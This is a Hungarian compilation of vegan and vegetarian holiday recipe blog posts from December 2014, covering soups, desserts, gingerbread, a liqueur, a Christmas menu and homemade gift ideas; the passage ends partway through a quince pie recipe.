Ez egy szuper egyszerű saláta. Önmagában vagy köretként is nagyon finom. Picit olajon átmelegítve jobban hasznosul a béta-karotin, de az enzimekre azért vigyázunk. Én most csicseriborsó fasírtot készítettem mellé. Hozzávalók (2 adag): - 40 dkg sárgarépa - 2-2 mokkáskanál sárga és fekete mustármag - 1 kávéskanál mustár - késhegynyi chili - só - frissen csavart citromlé - 1 evőkanál kókuszolaj Elkészítése: A kókuszolajat melegítsük fel, majd tegyük bele a mustármagot. Folyamatos keverés közben hagyjuk picit kipattogni a magokat.A sárgarépát sajtreszelőn reszeljük le, majd dobjuk rá a mustármagos olajra.Pár perc alatt melegítsük össze (folyamatosan keverjük).Vegyük le a tűzről, majd locsoljunk rá egy kevéske citromlevet, adjuk hozzá a mustárt és sózzuk. Ennyi.
Szilvakrémleves gesztenyehabbal
Ez a recept méltó befejezése a 2014-es évnek. Most, az évvégi napokon készítettem el. Az év utolsó hónapjaiban el-elámultam a meleg időjáráson, valószínű ezért is láthattam még a piacokon december második felében is szilvát. Érett volt, semmi kétség. Íze is volt. S forrón... Hm... de akár kellemes melegen is nem csak a testet melengeti, de a léleknek is felüdülés. Talán még évzáró-évnyitó étkezéseinkhez is elkészíthetjük, ha van otthon a fagyasztóban eltéve egy kis szilva vagy a kamra polcán egy befőttünk. Különlegessége a gesztenyehab, ami tejszínhab gesztenyemasszával együtt felverve.
A recept
Hozzávalók:
- 1/2 kg szilva
- víz
- datolya vagy banán vagy nyírfacukor vagy gyümölcscukor, stb.
- 2 dl növényi tej
Elkészítés:
A szilvákat két részre osztjuk: kb. 12-16 elfelezett szemet megtartunk, a többit egy kevés vízzel és datolyával vagy banánnal, vagy nyírfacukor vagy gyümölcscukor, stb. feltesszük főzni. Rottyan egy keveset, majd a megpuhult szilvákat összeturmixoljuk. Turmixolás közben hozzáadjuk a növényi tejet. Ha kész, lábosba öntjük, hozzáadjuk a meghagyott félbevágott szilvákat és a forráspontig főzzük. A tejszínt (nekem Hulala volt most, de kókuszhab is nagyszerű) felverjük, s közben hozzáadjunk egy-két kanálnyi gesztenyemasszát (kapható natúr, ami cukormentes, ezt ajánlom). Az így felvert tejszínből a meleg szilvalevesbe kanalazunk tálaláskor (ügyesebben is megoldható, mint ahogy nekem sikerült, de már nagyon ették volna a vendégek :) ). Nem kell jó étvágyat kívánnom hozzá, mert rendkívül élvezetes, "melengeti" a testet, lelket. :)
Quinoa puding hibiszkusszal
Ez egy elég újszerű megközelítése a karácsonyi desszerteknek. Ízében, színében, állagában a karácsonyt varázsolja az ünnepi asztalra. Ennél a desszertnél a hibiszkusz tea ihletett gyümölcsdarabokkal. Egy tea főzésével indul a desszert elkészítése is. Az enyhén savanykás-édes ízek kavalkádja. Talán furcsán hangzik, de ennek a desszertnek nem elhanyagolható a Cvitamin tartalma sem. A quinoa pedig az egyik legegészségesebb, gluténmentes gabona.
Élettani hatásai:
Az inkákon kívül sokan sokáig nem tudták, mennyire értékes is ez a növény - a spanyol hódítók például majdnem kiirtották a quinoát, amikor megtiltották az indiánoknak a termesztését. A “csodagabonát” aztán az 1980-as években fedezte fel ismét két amerikai, akik meg is kezdték a termesztését Colorádóban. Az amerikai Sziklás-hegységben ma évente több mint 100 000 kiló quinoát termelnek. A legértékesebb fajta 4000 méter felett nő: ez a legédesebb és a legfehérebb. A fehér típuson kívül létezik még piros és fekete a növényből: előbbi kissé intenzívebb ízzel rendelkezik, mint a fehér változat, a fekete pedig még erőteljesebb aromával bír.
Nem hizlal, gluténmentes és lúgosít
A quinoa az egyik legjobb növényi fehérjeforrás, ráadásul kiemelkedően magas is a fehérje-tartalma – jóval több, mint a rizsé vagy a búzáé. Található benne C-, E- és B-vitamin – utóbbiból többféle -, továbbá az öregedésért is felelős szabadgyököket hatástalanító béta-karotin, az ásványi anyagok közül pedig magnézium, vas, foszfor, cink, kálcium, valamint minden olyan aminosavat tartalmaz, melyre a szervezetnek szüksége van. Mivel nem tartalmaz glutént, könnyű megemészteni, ráadásul lisztérzékenyek is bátran fogyaszthatják.
Hozzávalók: 4 fő részére
2 evőkanálnyi hibiszkusz – gyümölcstea keverék, szárított gyümölcsdarabokkal
3 dl víz
6-7 evőkanálnyi quinoa
3 evőkanálnyi kókusztejszín
késhegyni őrölt vanília
3 evőkanálnyi agave szirup, vagy méz, vagy nyírfacukor
1 evőkanálnyi őrölt útifűmaghéj őrlemény
A vizet felforraljuk és ráöntjük a hibiszkuszos gyümölcsdarabokra, majd hagyjuk állni 7-10 percig. Leszűrjük, félreteszünk belőle kb. 1 dl -t és az alaposan megmosott quinoat odatessszük főni a leszürt gyümölcsteában. Ha szükséges még adunk hozzá kevés vizet. Amikor mág megfőtt, a kis gömböcskék kidagadtak, hozzákeverjük a kókusztejszínt és az édesítőt, majd a vaníliát. Poharakba adagoljuk. A félretett gyümölcsteát ízlés szerint édesítjük és belekeverjük az útifűmaghéjőrleményt. Elkeverjük és a kiadagolt quinoa puding tetejére kanalazzuk. Egy zselés állagot fogunk kapni. A gyümölcsdarabokkal díszitjük. Hűtőben hűtjük 30-60 percig.
Alpro ajándékcsomag
2014. december 25. Mindennapi ételeink
Még karácsony előtt egy hatalmas ajándékcsomagot kaptunk az Alpro-tól. Nagyon szeretjük a termékeiket, Fanni is nagy fogyasztó. A kedvencünk a vaníliás szójatej. Teljesen a madártejre emlékeztet, egyedülállóan finom a szójatejek világában :-)Emellett most kóstoltuk először a mandulás-kókusztejet. Elmondatatlanul finom. :-) Fanni egy héten kétszer vaníliás pudingot uzsonnázik, valamilyen gyümölcs kíséretében. Nagy cuppogásokkal jelzi, hogy nála ez a nyerő, múltkor két doboz elfogyasztása után hagyta abba az evést. :-) Emellett a csomagban érkezett rizstej és zabtej is, ill. csokoládés puding, amelynek ismerőseink örültek a legjobban. A mandulatejjel (250 ml-es) és rizstejjel főzöm Fanni reggeli kásáit. A család apraja-nagyja ihatja-eheti ezeket a finomságokat, és mindenki egészségére válik. :-) A szilveszteri sütemények is készülhetnek ezekkel a termékekkel, próbáljátok ki.
Vegán mézeskalács (méz nélkül :-)
2014. december 23. Mindennapi ételeink
Nincsen karácsony mézes sütemény nélkül. Íme, egy vegán változat. Hozzávalók: 13 dkg árpa maláta szirup 25 dkg liszt 8 dkg zabpehelyliszt 4 dkg kókuszzsír 10 dkg nyírfacukor 2ek. víz 1 tk. szódabikarbóna 1tk. foszfátmentes sütőpor1 kk. mézeskalács fűszerkeverék -- 30 szem mandula vagy dió Elkészítés: A mézet és a kókuszolajat mérd ki és olvaszd meg. A liszteket miután kimérted, töltsd egy tálba. Add hozzá a szódabikarbónát, a mézeskalács fűszerkeveréket, a nyírfacukrot és legvégül a felolvasztott mézet, kókuszolajat és a vizet. Gyúrd össze, majd letakarva tedd a hűtőbe, kb. 30 percig. Eközben sütőpapírral bélelj ki egy tepsit, készítsd elő a mandulákat vagy diókat, lisztezz be a gyúródeszkát. Fél óra leteltével a tésztát ezen nyújtsd ki, nehéz lesz, mert töredezni akar, de légy erős és ügyes. Egy pogácsaszaggatóval szaggass ki köröket, óvatosan helyezd a tepsibe és mindegyik tetejére tegyél egy mandulát vagy diót. Előmelegített sütőben 160 fokon 10 perc alatt süsd készre. Vigyázz, mert hamar leég az alja. TIPP: töltsd a formát marcipánnal. :-)
Italtipp az ünnepekre: Ír csokoládés krémlikőr
2014. december 23. Gréta konyhája
Nagyon ritkán iszom alkoholt, és akkor is általában a bioborok mellett teszem le a voksomat, de karácsonyra most szerettem volna olyan ünnepies likőrt alkotni, amit a vendégek is garantáltam imádni fognak, és desszertként elfogyasztva nekem sem kell aggódnom a tejszín-, vagy tojástartalom miatt. Mint a legtöbb vegán recept, ez is nagyon egyszerű, és csodásan finom. Hozzávalók: - 1 doboz sűrű zsíros kókusztej, vagy kókuszkrém - 5 dl mandulatej - 3/4 bögre kókuszvirágcukor (nádcukor is megfelelő) - csipet só - 1/2 bögre erős espresso kávé, vagy fél bögre kávélikőr - 3/4 bögre ír whiskey, vagy valamilyen rum is megteszi, - 200g étcsokoládé A sűrű kókuszkrémet lassú tűzön felforraljuk, hozzáadjuk a cukrot, sót, a csokoládét, és takaréklángon folyamatosan addig kevergetjük, míg besűrűsödik. Levesszük a tűzről. Ha langyosra hűlt, hozzákeverjük a kávét, mandulatejet, és a whiskey-t. Attól függ milyen erősre szeretnéd. Üvegbe, vagy csinos befőttes üvegekbe töltjük, és hűtőben tartva 4-5 napig fogyaszthatjuk. Használat előtt rázzuk fel jó alaposan az üveget.
Karácsonyi citromkrémes gofri (vegán)
2014. december 20. Mindennapi ételeink
Nagyon finom, próbáljátok ki, hiszen gyors, mutatós és olcsó édesség. Ne feledjétek, hogy karácsonykor is érdemes a fehér cukor helyett barnát használni, vagy egyéb alternatív édesítőszereket, most gyümölcscukrot tettem ebbe a süteménybe, nagyon finom volt. Hozzávalók: 1 pohár finomliszt 1/2 pohár durumliszt 1/2 pohár teljes őrlésű liszt 1 kk. foszfátmentes sütőpor 2 ek. gyümölcscukor 3 ek. rizs italpor víz -amennyit felvesz A krémhez: 2 csomag vaníliás pudingpor 2 nagy citrom leve és héja gyümölcscukor, vanília - ízlés szerint 1 l növényi tej 4-5 ek. kókusz habkrém Elkészítés: A gofri tészta alapanyagjait összekeverjük és 3 órán át állni hagyjuk. Majd a hagyományos módon kisütjük - előtte növényi margarinnal kenjük ki a gofrisütőt. A pudingot szintén a hagyományos módon készítjük: 5 ek. kivételével felforraljuk a növényi tejet, eközben ezzel a kimaradt tejjel kikeverjük a pudingot, hozzáadjuk a gyümölcscukrot, citromlevet és héjat, beleöntjük a forrásban lévő tejbe és forrás után még pár percig főzzük. Amikor kihűlt, belekeverjük a habkrémet. Megrakjuk a kisült gofrikat és tortaként tálaljuk ezt az egészséges finomságot.
Karácsonyi visszaszámlálás. 3+1 nyers leves
2014. december 19. Éltető ételek
Pár nap, és itt a karácsony. Amennyiben még nem állt össze a fejedben a menü, akkor ezzel a sorozattal remélem segítségedre leszek. Előételnek egyszerű leveseket javaslok , melyeket ha még főzni is kell, akkor is elkészül fél óra alatt. Ha meg ezekből a nyers levesekből választassz, akkor meg tényleg röpke 10 perc alatt elkészül. Én az egyszerűség híve vagyok. Sok esetben csak összeturmixolom a gyümölcsöket, adok hozzá egy kevés tisztított vizet, és kész is a finom gyümölcsös krémleves. Téliesíthetjük ezeket a nyers leveseket kellő melegítő fűszerekkel (fahéj, gyömbér, szegfűszeg) és enyhe melegítéssel. Valamint ilyenkor egy kevéske avokadó vagy kesudió is kerülhet bele. Ahol a recept mézet ír, nyugodtan helyettesítsd juharsziruppal vagy datolyapasztával. 1. Karácsonyi aszaltszilva krémleves Ezt a leves tavaly karácsonykor készítettem el, mindenkinek nagyon ízett. A fűszerekkel igazi karácsonyi hangulatot lehet varázsolni. Törekedjünk arra, hogy cukrozatlan és kén-dioxid mentes aszalt szilvát vásároljunk. 2. Téli mandarin krémleves valódi vaníliával A mandarin egy közkedvelt téli(déli) gyümölcs. A hűtő hatását remekül ellensúlyozhatjuk egy kevéske fahéjjal. Mindenképp valódi vaníliát használjunk hozzá. Hozzávalók: - 1 kg mandarin - 3 banán - 2 teáskanál vaníliapor - 1 kávéskanál ceyloni fahéj - szükség szerint méz vagy egy kevés datolyapaszta - tisztított víz - díszítés: aszalt banánkarikák Elkészítése: - A mandarint meghámozzuk, a magjait kiszedjük. Kevés vízzel alaposan összeturmixoljuk az alapanyagokat. Amikor teljesen krémes, akkor ellenőrizzük az állagát. - Ha szükséges, akkor adjunk hozzá még kevés vizet. Tálaláskor aszalt banánkarikákkal díszítjük. 4. Pirosgyümölcsös-kókuszos krémleves A színeknek gyógyító ereje van. Nemcsak a szemnek, hanem a lélelknek is felemelő, sőt, az egészségünket is támogatja. Törekedjünk arra, hogy ételeink színesek legyenek. A piros bogyós gyümölcsök magas likopin és antocián tartalma jótékonyan hat a vizeletkiválasztó szervekre, a memória működésére és a szív működését is megfelelően támogatja. Úgyhogy színekre fel! Ehhez a leveshez most télen nyugodtan vásároljunk fagyasztott, cukrozatlan málnát, cseresznyét és meggyet. Vagy nézzünk szét a hűtőnkben. 4. Narancsos sütőtök krémleves A sütőtök igazi téli csemege Sütve, főzve, nyersen... mindenhogy finom. Friss, ropogós, teli van élettel. Igazi béta-karotin bomba. Hozzávalók: - 50 dkg narancs - 30 dkg sütőtök - 1 banán - 2 evőkanál méz vagy kókuszvirágcukor - 2 evőkanál citrom leve - 1/2 avokádó - 1 kávéskanál ceyloni fahéj - kevés őrölt szegfűszeg - csipet só - tisztított víz - díszítés: alma, hajdinacsíra Elkészítése: A sütőtököt kis kockára feldaraboljuk, a narancs levét kipréseljük. Minden alapanyagot turmixba teszünk.Kis almakockákkal és friss hajdinacsírával díszítjük. Ha szükséges, picit langyosíthatunk rajta, de a fahéj és a szegfűszeg melegítő hatása remekül érvényesül így is.
Vegetáriánus, vegán menü karácsonyra
2014. december 19. Zizi kalandjai
Ha még nem állítottátok össze a karácsonyi menüt, akkor remélem ez a kis összefoglaló nagy segítségetekre lesz, akár az idén, akár jövőre. Nálunk többféle étel készül a három nap alatt, és az biztos, hogy az egyik napon egy vegetáriánus vagy vegán egyben sült “fasírt” kerül az asztalra, ez a fő fogás és mellé készítünk jó sok köretet. Egy ilyennel le tudjátok nyűgözni a húsevőket is (ez saját tapasztalat). A receptek egy része a saját blogomról, egy része pedig más blogokról lett összeválogatva, hogy minél színesebb körképet adjak a vegetáriánus, vegán karácsonyról!
Egyben sültek
Legnagyobb sikere a diósültnek szokott lenni. Ha nagyobb családot látunk vendégül, érdemes belőle dupla adagot készíteni. Ez az a fajta étel, amiről nem hiszik el a húsevők sem, hogy nincsen benne hús! Kihagyhatatlan!
A mázas diós lencsesült szintén egy tápláló, kiadós fogás, finom édeskéz mázzal megsütve a tetején.
A Jamie Oliver féle vörösáfonyás pisztácia mandula sült sok-sok alapanyagot tartalmaz, de ettől lesz fantasztikusan finom és karakteres íze. Néhány dolgot el tudunk előre készíteni, így az időigényes munkát le tudjuk karácsony napjára rövidíteni.
Ez a vörösáfonyás, narancsos lencsés quinoa egyben sült is jól néz ki. Ki fogom próbálni!
Nem egyben sült, viszont főfogás lehet a csípős pirított tofu steak. Aki idegenkedik a tofutól annak is ajánlom, mivel az erős fűszerezés teljesen megváltoztatja a tofu natúr ízét.
Köretek
Kelbimbó
Igen, tudom… a kelbimbót sokan nem szeretik, de szerintem érdemes adni neki egy esélyt. Nagyon sok finomság készülhet belőle, legyen az valamilyen köret, vagy akár saláta. Nekem az egyik kedvencem ez a narancsos változat.
Süthetjük vörösáfonyával és dióval is együtt, vagy burgonyával, rozmaringgal és fokhagymával.
Kevert, meleg salátát is készíthetünk belőle vagy egy ilyen gyönyörű, színes mindent bele salátával is lenyűgözhetjük a vendégeinket – arról nem is beszélve, hogy milyen vitaminokkal teli fogást tálalunk nekik.
Burgonyapüré
Paszternákos burgonyapüré kakukkfűvel – a paszternák jól kiegészíti a burgonyát ebben a pürében. A paszternák egyébként helyettesíthető zellerrel.
A sütőtökös burgonyapürét rozmaringgal dobtam fel – itt is el tudok képzelni helyettesítést: a sütőtököt lecserélhetjük édesburgonyára.
Nagy kedvenc a karamellizált hagymás püré, amelyhez barnamártás is készült. Karfiollal felturbózott változat? Jöhet!
Töltelék
Húsos fogásokat sokszor töltelékkel készítenek el, ebből kiindulva egy vegetáriánus karácsonyi asztalra is kerülhet töltelék köretként tálalva… még színesebbé és gazdagabbá tesszük az ünnepi asztalunkat. Kezdésnek itt van ez a kapribogyós, almás változat. Furcsának hangozhat a kettő együtt, de én imádom.
Ez a leveleskeles gombás változat elég izgalmas. Lencsével és zellerrel is feldobhatjuk a tölteléket.
Levesek
Egy egyszerű krémleves beindíthatja az ízlelőbimbóinkat és ráadásul az elkészítése sem igényel túl sok időt. Ez a brokkoli krémleves fél óra alatt megvan. A karfiolos zöld tea krémleves extrémnek tűnhet, pedig nem az!
A gesztenyekrémleves kimondott karácsonyi étel, extrázhatjuk, ha zsályás birsalmával tálaljuk.
Sült répa és édesburgonya krémleves a csodás narancsos színével kápráztatja el a vendégeket. Csicsóka póréhagymával párosítva elég menő. Ha igazán le akarjuk kenyerezni a vendégeket, akkor főzzünk kókuszos cékla consommé-t.
Desszertek
A hagyományos desszertek mellett (zserbó, beigli, kalács, mákos guba) érdemes bevállalni egy-két különlegesebb sütit, édességet. Például ez a sütőtökös pite eltér a hagyományos sütiktől.
Ez a vegán duplacsokis, kókuszos pite mennyei lehet… az elsők között van a kipróbálandó receptek listámon. Szintén kiszemelt áldozat ez a sütés nélküli diós, sütőtökös vegán pite.
A céklás csokoládé torta mindenki kedvence lehet, csak ne áruljuk el előre, hogy cékla van benne! Ez is hasonló csak erre krém is került. A narancs jó párost alakít a csokoládéval. És persze a világ legfinomabb csokoládétortája ez a nyers változat.
*****
Ha van kedvenc receptetek, ami mindig nagy sikert arat karácsonykor, írjátok meg kommentben, hogy a többiek is csemegézhessenek belőle! Jó készülődést kívánok mindenkinek!
Energia bonbon (nyers, vegán)
Akár ezt is elkészítheted karácsonyra vagy karácsonyi ajándéknak. Nem is olyan régen készítettem már kókuszgolyót. Nos, sok összetevője hasonló, de a mostanit az alma fogja össze, ad neki nedvességet, és eleve a kókuszreszeléket is aprítógépbe tesszük, így aztán világos, szinte fehér bonbonok készülnek. Még kókuszzsírt sem kell hozzáadni, anélkül is gyúrható állagot kapunk. Ha az almától mégsem lesz elég nedves, csak néhány kanál vizet kell hozzáadni. Némi türelemjáték és sok-sok apró gömböcske kerül ki a kezünk alól. Bonbonpapírra téve klassz kis energia-dús gasztroajándék az ünnepekre.
A recept:
Hozzávalók:
- 1 bögrényi vegyes aszalt gyümölcs (alma, körte, barack, áfolya stb.)
- 2-3 alma
- 1/3 bögrényi őrölt lenmag
- 1/2 bögrényi kókuszreszelék
- 1/2 bögrényi darált dió
- reszelt (megmosott, ha lehet bio) narancshéj (elhagyható)
- víz
Elkészítés:
Gyorsaprító gépben az aszalt gyümölcsöket összeaprítjuk jó alaposan. Hozzáadjuk az almadarabokat és némi vizet, tovább aprítjuk az aprítógéppel. Ehhez a masszához keverjük az őrölt lenmagot, a kókuszreszeléket, az aprított vagy darált diót és a reszelt narancshéjat. Ha szükséges, vizet adunk hozzá, ha túl ragadós a tészta, akkor őrölt lenmagot/darált diót/kókuszreszeléket szórunk hozzá. Ha egy nagy gombócot tudunk formálni belőle, akkor elég tömör az anyag. Hempergethetjük kakaó/karobporba, kókuszreszelékbe, tortadarába vagy mártogathatjuk olvasztott csokiba, csokimázba. Mindezek nélkül is nagyon jó, hiszen az aszalt gyümölcsöktől eleve édes íze lesz. Közepébe tehetünk akár magozott meggyet vagy mandulát. Természetesen a darált dió és a kókuszreszelék arányát úgy ellensúlyozhatjuk, amilyen ízt jobban kedvelünk, szeretnénk.
Írott vegán mézeskalács
2014. december 15. La Veganista
Ez a kalács tényleg vegán, mivel nem tartalmaz mézet. Rizssziruppal készül, ez az édesítő hasonlít leginkább állagában, ízében, színében és egy kicsit talán ízében is a mézre (legalábbis méz utáló ismerősöm szerint). A recept másik különlegessége az, hogy a hagyományos írókás díszítést alkalmaztam, természetesen azt is veganizálva, tojásfehérje nélkül. A mézeskalács díszítés művészet, kell hozzá kreativitás, kézügyesség, és gyakorlat, de kis elszántsággal mindenki képes megalkotni a saját mesterművét. A receptben szereplő kalácsmennyiséget kb. egy óra alatt kontúroztam, a képen a teljes mennyiség egyharmada látható. Bőven jut ajándékozásra is.
Hozzávalók:
A tésztához:
- 250g rizs szirup (langyosra melegítve)
- 120g vegán margarin, vagy kókusz zsír (megolvasztva)
- 120g porcukor
- 1 teáskanál mézeskalács fűszerkeverék
- 1 púpos teáskanál kakaópor
- 50 dkg liszt
- 1 kávéskanál szódabikarbóna
A kenéshez:
- növényi tej
Az íráshoz:
- 2 csapott evőkanál étkezési keményítő
- 10 dkg porcukor
- 1 teáskanál citromlé (elhagyható)
- víz
Így készítsd el:
- Mérd ki a lisztet és szitáld bele egy nagyobb tálba. Keverd bele a porcukrot, a szódabikarbónát. Az olvasztott vegán margarint vagy kókusz zsírt keverd el a rizs szirupban, majd öntsd a lisztre, melynek közepébe előzőleg mélyedést alakítottál ki. Ezután gyúrd össze a tésztát és fóliával befedve tedd a hűtőbe néhány órára, hogy szilárdulhasson.
- A hűtőből kivéve egy szilikon lapon, vagy lisztezett nyújtódeszkán 3-4mm vastagra nyújtsd a tésztát és különböző kiszúrókkal vágj ki belőle figurákat, amíg az összes tészta el nem fogy. A mézes figurákat egymástól kellő távolságban (sütés közben egy kicsit megnőnek) helyezd el a sütőpapírral bélelt tepsiben. 170-180°C-ra előmelegített tepsiben kb. 15 perc alatt süsd meg és sütőrácsra szedve hagyd kihűlni. (A kalácsok tetejét meg lehet kenni növényi tejjel, hogy fényesebbek legyenek, de tapasztalatom szerint nem dob raja annyit, hogy megérje a vesződséget.)
- Az íráshoz a porcukrot, az étkezési keményítőt a citromlevet és némi vizet összekeverünk. A krém állaga legyen sűrű, nem folyós. A krémet töltsd egy zacskóba, ami habzsákként funkcionál, a nyomd le az aljáig, úgy, hogy ne maradjanak levegőbuborékok sehol. Kösd el a zacskó tetejét, vágj egészen pici lyukat a csücskére. Egyenletes nyomással, vezetve a glazúrszálat rajzolj kontúrokat, mintákat a teljesen kihűlt kalácsokra.
- Írás után hagyd szabad levegőn a mesterművedet mindaddig (2-3 óra), amíg meg nem köt rajtuk a díszítés. Utána csomagolható.
Vegán gluténmentes édesburgonya brownie
2014. december 10. Zizi kalandjai
Szeretem a brownie-t, csak az a baj, hogy a tökéletes brownie állaghoz (puha, selymes, ragacsos, szinte nedves tészta) nagyon sok cukor kell. A bűntudatmentes brownie elérte a tökéletesség szintjét, de nyers… ami nem baj, sőt, még jót is teszünk magunkkal, ha így esszük. Most viszont találtam egy sült változatot Ellanál (imádom a blogját), ami puha, selymes, ragacsos, nedves tésztájú (az édesburgonyának köszönhetően), nagyon kevés édesítőszer (juharszirup és datolya) van benne, vegán és ráadásul gluténmentes is! Egy picit változtattam a recepten, több kakaót és juharszirupot tettem bele és adtam hozzá néhány evőkanál mandulatejet.
Az édesburgonyát gőz felett kell megpárolni, majd datolyával pépesre turmixolni. Ez a kettő egy olyan tökéletes “baba pudingot” alkot, hogy Ádikám remegve sikítozott az újabb kanálnyi adagért! Egyébként nemcsak babáknak tökéletes, hanem felnőtteknek is… mi tagadás, együtt nyaltuk ki Ádival a robotgép tartályát! Kiváló reggelire, délutáni snacknek a teánk vagy a kávénk mellé. Az is eszembe jutott, hogy ebből tortát fogok sütni, mondjuk kókusz tejszínhabbal a tetején… tökéletes karácsonyi desszert lesz!
A megadott mennyiségből egy elég kis adag lesz (12*20 cm-es tepsire elég), szóval érdemes egyből a dupláját készíteni!
Vegán gluténmentes édesburgonya brownie
Hozzávalók:
- 600 g édesburgonya (meghámozott súly), felkockázva
- 100 g hajdinaliszt
- 80 g darált mandula
- 16-18 db puha, aszalt datolya (mérettől függ és, hogy mennyire szeretnénk édesre)
- 7 evőkanál kakaópor/karobpor
- 6 evőkanál juharszirup
- 2-3 evőkanál mandulatej
- csipet só
Az édesburgonyát pároljuk puhára egy vízzel teli lábas felett kb. 20 perc alatt. Tegyük a robotgépbe és pürésítsük simára a datolyával. Vigyázat, nehéz abbahagyni, ha egyszer megkóstoljuk!
Melegítsük elő a sütőt 180C fokra.
Egy tálban keverjük össze a hajdinalisztet, a darált mandulát, a kakaót és a sót. Adjuk hozzá a pürésített édesburgonyát, a juharszirupot és a mandulatejet. Keverjük simára. Sűrű, nem folyós tésztát kell kapnunk.
A kis tepsit béleljük ki sütőpapírral (ha szilikon formát használunk, akkor nem kell kibélelni) és kanalazzuk bele a tésztát. Tegyük a sütőbe és süssük 180 fokon kb. 25-30 percig. Végezzünk próbát, ha nem ragad semmi a késre, akkor jó. Hagyjuk kihűlni a formában (ekkor ragad jól össze) és utána vágjuk kockákra.
Ajándék ötletek karácsonyra. Csináld magad, ne vedd meg!
2014. december 6. Éltető ételek
Nincs ötleted, hogy mit ajándékozz családtagjaidnak? Már nem akarsz ötödik nyakkendőt venni a párodnak, és botmixert az anyósodnak? Nos, akkor készíts saját készítésű ajándékot karácsonyra . Hidd el, sokkal nagyobb sikere lesz, mint az ötödik nyakkendőnek. A karácsony sokkal meghatóbb és szeretetteljesebb, ha olyan ajándékot adunk szeretteinknek, amiket magunk készítünk el. Persze ez egy kicsit komolyabb előkészületet igényel, mivel ezek elkészítése időigényesebb, mint a boltban megvásárolni. A hölgyek talán könnyebben tudnak készíteni ehető ajándékokat , mint a férfiak. De azért vannak igazán egyszerű ötletek is, amiket akár egy férj is el tud készíteni a párjának. Készíthetünk egyszerű kekszeket , melyeket szép díszdobozba csomagolunk, szalaggal átkötünk. Szaloncukor receptek egyben trüffelek is, és készíthetünk nyers csokit , melyet kedvenc aszalványunkkal ízesítünk. De aszalványt is márthatunk csokiba , melyet kedves kis pohárba csomagolva remek ajándék lesz. Mézbe tehetünk aszalványokat és magvakat, kész is a mézes diákcsemege . Aszalhatunk vagy süthetünk müzlit, de bolti alapanyagokból is összeállíthatunk egészséges müzlit. A házi nutellának is nagy sikere lesz. Készíthetünk csokis kanalat , melyhez nyers csokit készítünk. Hogyan használjuk? Egyszerűen tegyük forró mandulatejbe, és kész is van a csokis tej. Számos iható ajándékot is készíthetünk. Keverjünk különböző alapanyagokból ízletes gyümölcsteát , vagy reszeljünk le 70%-os keserűcsokit, melyet ízesítünk vaníliaporral, kókuszvirágcukorral és kakaóporral. Kész is a forrócsoki alapunk. Tegyük egy szép, díszes üvegbe, és kész is az egyszerű, de nagyszerű ajándék. Konyhatündéreknek készítsünk fűszerolajat , egyedi fűszerkeverékeket, fűszersót, vaníliás kókuszcukrot . Nyáron eltett cukormentes lekvárok is kerülhetnek a csomagba. Száríthatunk ételízesítőt vagy sóval is tartósíthatjuk. Készíthetünk egy szakácskönyvet , melybe bevált receptek kerülnek fotóval együtt. Instant sütit is készíthetünk, mármint egy bevált receptünk száraz hozzávalóit díszes üvegbe tesszük. Mellékeljük hozzá a receptet is. Mindenképp teljesértékű alapanyagokat használjunk. Ha már végképp nem tudunk mit venni kedvesünknek, akkor legtöbbször egy drogériában kötünk ki. Nos, nagyon jó ötletek vannak kenhető ajándékok terén. Készíthetünk testvajat sheavajból és illóolajokból vagy testradírt , de sikere lesz egy kézkrémnek vagy egy ajakápolónak is. Csak jó minőségű alapanyagokra van szükség, vízgőz felett összeolvasztjuk, majd egy kis csinos tégelybe öntjük. Levendulás-teafás dezodort is készíthetünk, vagy szappant is önthetünk. De illatos parfümöt is készíthetünk, melynek alapja alkohol, és kiváló minőségű illóolajok kerülnek bele. Ha már az illóolajoknál tartunk, akkor készíthetünk masszázsolajat is, melybe kedvenc illók kerülnek. Agyagporból akár fogport is készíthetünk. Remek ajándék, és egyébként a drogériákban sok pénzért árulják, a fürdősó . Ehhez nem kell más, mint durvaszemű tengeri só, melybe 100%-os tisztaságú illóolaj, egy kevéske szódabikarbóna és tetszőleges szárított gyógynövény kerül. Gyógyhatású készítményeket is készíthetünk, de ezt már most kezdjük el, mivel ezeknek az elkészítése, érlelése legalább 2 hét. Akár egy körömvirágkrém vagy egy fekete nadálytő tinktúra is sikeres lehet, ha tudjuk, hogy az ismerősünknek arra van szüksége. De édeskömény, bodzavirág vagy éppen lándzsás útifű tinktúrát is készíthetünk. Gyerekes családokban csipkebogyós méz vagy csillagánizsos méz is készülhet, de ha hársmézbe 100%-os fenyő, kakukkfű illóolajat teszünk, kész is a köhögéscsillapító gyógymézünk . Lakásdíszként remek ötlet egy szép mécsestartó , mely alapja egy befőttes üveg. Kívülről festünk rá, vagy bevonjuk papírral, textillel, csipkével. De fahéjrúdakkal is bevonhatunk egy nagy gyertyát, vagy akár egy asztali tolltartót is. Gyöngyökből vagy akár EM kerámiából csodaszép karkötő vagy nyaklánc készíthető, de hűtőmágnes vagy mágneses könyvjelző is kedves és személyes ajándék lehet. A nagyszülők a legjobban az unokákkal kapcsolatos ajándékoknak örülnek. Készíthetünk naptárat , vagy a gyerkőc kezecskéjét gipszbe nyomjuk, majd ezt kifestjük. De az unokáról egy fénykép mindig jó ötlet, melyet különleges keretbe tehetünk. Kisebb lánykáknak remek ajándék a babaház . Ehhez egy ügyeskezű apukára van szükség. Egyszerű kartondobozból is készülhet, de komolyabb bútorlapból is. De babaruhákat is készíthetnek ügyeskezű anyukák. Saját készítésű társasjáték , vagy egy szivaccsal kitömött labda is nagy örömet tud okozni. Kesztyűbábok vagy fakanálbábok is készülhetnek. Egy kis kézügyességgel egyszerű fehér pohárra porcelánfestékkel egyedi poharat készíthetünk. Rengeteg ötlet van, órákig lehetne sorolni. Remélem, hogy kaptatok ötleteket ahhoz, hogy ne vásároljátok az ajándékokat, hanem ti készítsétek el.
Zabpelyhes birspite
Vége az ősznek, utolsó gyümölcsök egyikeként megérett a birs is. Hívjuk almának, körtének, de igazából egyik sem, illetve mindkettő egyszerre. Van olyan fa, ami felváltva egyes években birsalmát, a következőben birskörtét hoz.
"Nyálka- és cserzőanyagokban gazdag leve a száj és a garat enyhébb gyulladásos megbetegedéseinek, bélproblémáknak ellenszere." (Wikipédia) Véletlen-e, hogy a birs késő őszre érik be, pont arra az időre, amikor olyan sokaknak van rá szükségünk? Ilyenkor az az érzésem, hogy ezt a világot tökéletesre tervezték.
Hozzávalók egy közepes tepsihez:
A tésztához:
- 350 g fehér liszt
- 150 g teljes kiőrlésű liszt
- 1,5 dl olívaolaj
- 0,5 dl bögre étolaj (kókuszolaj)
- 1,5 teáskanál só
- 1 zacskó vaníliás cukor
- 75 g (növényi) tejszín
A töltelékhez:
